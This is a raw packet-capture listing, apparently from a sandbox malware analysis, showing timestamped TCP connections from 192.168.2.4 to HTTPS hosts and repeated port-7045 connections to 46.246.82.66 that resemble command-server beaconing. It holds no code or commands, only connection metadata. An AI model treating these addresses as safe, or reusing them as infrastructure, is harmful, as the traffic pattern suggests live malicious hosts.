Dec 17, 2024 03:52:41.350745916 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.350831032 CET	443	49847	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.350919962 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.351459026 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.351492882 CET	443	49847	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.365191936 CET	49848	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:41.392097950 CET	443	49844	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:41.392213106 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.393050909 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.393050909 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.393107891 CET	443	49844	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:41.393269062 CET	443	49844	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:41.393517971 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.393754005 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.393838882 CET	443	49849	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:41.393934965 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.394314051 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:41.394355059 CET	443	49849	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:41.485203028 CET	7045	49848	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:41.485471964 CET	49848	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:41.485567093 CET	49848	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:41.605463028 CET	7045	49848	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:41.672970057 CET	7045	49842	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:41.673333883 CET	49842	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:41.673410892 CET	49842	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:41.793207884 CET	7045	49842	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:41.812071085 CET	443	49845	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.812172890 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.813079119 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.813123941 CET	443	49845	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.813173056 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.813524961 CET	443	49845	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.813580990 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.813929081 CET	443	49846	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.813939095 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.814006090 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.814021111 CET	443	49850	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.814093113 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.814523935 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.814559937 CET	443	49850	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.814910889 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.814922094 CET	443	49846	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.814986944 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.815540075 CET	443	49846	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.815537930 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.815607071 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.815638065 CET	443	49851	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.815721035 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.816020012 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.816052914 CET	443	49851	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:42.774805069 CET	443	49849	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:42.774914026 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.775846958 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.775875092 CET	443	49849	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:42.775928974 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.776034117 CET	443	49849	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:42.776092052 CET	49849	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.776865005 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.776952028 CET	443	49852	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:42.777034044 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.777468920 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:42.777506113 CET	443	49852	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:42.888468981 CET	443	49847	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:42.888603926 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.889516115 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.889548063 CET	443	49847	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:42.889594078 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.890192986 CET	443	49847	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:42.890269041 CET	49847	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.890389919 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.890472889 CET	443	49853	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:42.890557051 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.891042948 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:42.891077995 CET	443	49853	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.023550034 CET	443	49850	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.023714066 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.026618004 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.026648045 CET	443	49850	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.026705980 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.027015924 CET	443	49850	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.027079105 CET	49850	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.027404070 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.027493000 CET	443	49854	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.027566910 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.027991056 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.028024912 CET	443	49854	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.348189116 CET	443	49851	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.348314047 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.349138975 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.349172115 CET	443	49851	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.349215984 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.349575043 CET	443	49851	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.349637032 CET	49851	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.349956036 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.350040913 CET	443	49855	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.350111961 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.350606918 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:43.350642920 CET	443	49855	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:43.505827904 CET	7045	49848	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:43.506027937 CET	49848	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:43.506109953 CET	49848	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:43.627124071 CET	7045	49848	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:44.116583109 CET	443	49853	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.116682053 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.117660046 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.117688894 CET	443	49853	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.117793083 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.118150949 CET	443	49853	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.118227959 CET	49853	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.118746996 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.118798018 CET	443	49856	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.118876934 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.119560003 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.119585037 CET	443	49856	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.181015968 CET	443	49852	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:44.181174040 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.182080030 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.182080984 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.182137966 CET	443	49852	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:44.182306051 CET	443	49852	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:44.182480097 CET	49852	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.182785034 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.182836056 CET	443	49857	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:44.182924986 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.183358908 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:44.183389902 CET	443	49857	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:44.251041889 CET	443	49854	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.251178026 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.252051115 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.252083063 CET	443	49854	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.252190113 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.252542019 CET	443	49854	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.252605915 CET	49854	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.252964020 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.253046989 CET	443	49858	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.253138065 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.253674030 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.253707886 CET	443	49858	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.585131884 CET	443	49855	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.585256100 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.586210012 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.586239100 CET	443	49855	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.586318016 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.586586952 CET	443	49855	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.586652994 CET	49855	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.587294102 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.587379932 CET	443	49859	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:44.587460995 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.587924957 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:44.587956905 CET	443	49859	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.359157085 CET	443	49856	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.359261990 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.360222101 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.360249043 CET	443	49856	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.360333920 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.360591888 CET	443	49856	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.360656977 CET	49856	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.361123085 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.361232042 CET	443	49860	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.361296892 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.361814022 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.361848116 CET	443	49860	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.617830038 CET	443	49857	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:45.617957115 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.620246887 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.620275021 CET	443	49857	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:45.620433092 CET	443	49857	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:45.620491028 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.620563030 CET	49857	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.620596886 CET	443	49857	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:45.622483969 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.622553110 CET	443	49861	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:45.622647047 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.623833895 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:45.623883009 CET	443	49861	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:45.865084887 CET	443	49858	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.865204096 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.866941929 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.866970062 CET	443	49858	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.867074966 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.867410898 CET	443	49858	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.867477894 CET	49858	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.868180990 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.868269920 CET	443	49862	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:45.868360043 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.868844032 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:45.868877888 CET	443	49862	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.181355953 CET	443	49859	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.181478024 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.182347059 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.182372093 CET	443	49859	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.182480097 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.182837009 CET	443	49859	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.182992935 CET	49859	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.183307886 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.183413029 CET	443	49863	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.183502913 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.183959007 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.183993101 CET	443	49863	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.697357893 CET	49864	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:46.817472935 CET	7045	49864	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:46.817686081 CET	49864	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:46.817774057 CET	49864	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:46.906117916 CET	443	49860	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.906336069 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.907228947 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.907260895 CET	443	49860	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.907373905 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.907897949 CET	443	49860	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.907972097 CET	49860	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.908257008 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.908303976 CET	443	49865	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.908369064 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.909321070 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:46.909347057 CET	443	49865	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:46.937498093 CET	7045	49864	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:47.012789011 CET	443	49861	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:47.012862921 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.013995886 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.014014006 CET	443	49861	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:47.014081001 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.014266968 CET	443	49861	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:47.014313936 CET	49861	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.014981031 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.015011072 CET	443	49866	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:47.015079975 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.015618086 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:47.015635967 CET	443	49866	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:47.419519901 CET	443	49862	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.419724941 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.420644045 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.420665026 CET	443	49862	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.420763969 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.421030045 CET	443	49862	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.421093941 CET	49862	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.421653986 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.421684027 CET	443	49867	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.421752930 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.422202110 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.422214985 CET	443	49867	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.736027002 CET	443	49863	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.736258984 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.737397909 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.737397909 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.737456083 CET	443	49863	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.738142014 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.738189936 CET	443	49868	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.738188028 CET	443	49863	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:47.738250971 CET	49863	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.738275051 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.738756895 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:47.738771915 CET	443	49868	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.392982006 CET	443	49866	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:48.393335104 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.395138025 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.395148039 CET	443	49866	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:48.395308018 CET	443	49866	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:48.395391941 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.395472050 CET	49866	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.395483017 CET	443	49866	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:48.397403002 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.397456884 CET	443	49869	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:48.397543907 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.398845911 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:48.398861885 CET	443	49869	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:48.447532892 CET	443	49865	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.447613955 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.448302984 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.448316097 CET	443	49865	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.448426962 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.448510885 CET	443	49865	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.448559046 CET	49865	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.450138092 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.450154066 CET	443	49870	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.450217962 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.450571060 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.450583935 CET	443	49870	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.546287060 CET	49871	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:48.584873915 CET	7045	49864	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:48.585175037 CET	49864	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:48.585175037 CET	49864	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:48.636756897 CET	443	49867	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.636889935 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.637749910 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.637759924 CET	443	49867	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.637856007 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.638089895 CET	443	49867	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.638149023 CET	49867	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.638701916 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.638730049 CET	443	49872	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.638794899 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.639199018 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.639214039 CET	443	49872	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.666296959 CET	7045	49871	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:48.667119026 CET	49871	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:48.667625904 CET	49871	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:48.705180883 CET	7045	49864	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:48.787611961 CET	7045	49871	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:48.962810040 CET	443	49868	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.963047981 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.963921070 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.963936090 CET	443	49868	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.964024067 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.964286089 CET	443	49868	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.964766979 CET	49868	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.964766026 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.964853048 CET	443	49873	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:48.968158960 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.968622923 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:48.968653917 CET	443	49873	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.793148994 CET	443	49869	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:49.793272018 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.794271946 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.794287920 CET	443	49869	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:49.794358969 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.794486046 CET	443	49869	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:49.794538021 CET	49869	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.795300961 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.795408964 CET	443	49874	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:49.795497894 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.795923948 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:49.795958996 CET	443	49874	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:49.878653049 CET	443	49872	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.878781080 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.879594088 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.879606962 CET	443	49872	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.879712105 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.880183935 CET	443	49872	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.880250931 CET	49872	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.880568027 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.880651951 CET	443	49875	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.880742073 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.881082058 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.881109953 CET	443	49875	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.990622997 CET	443	49870	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.990731001 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.991380930 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.991389990 CET	443	49870	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.991493940 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.991933107 CET	443	49870	199.232.192.209	192.168.2.4
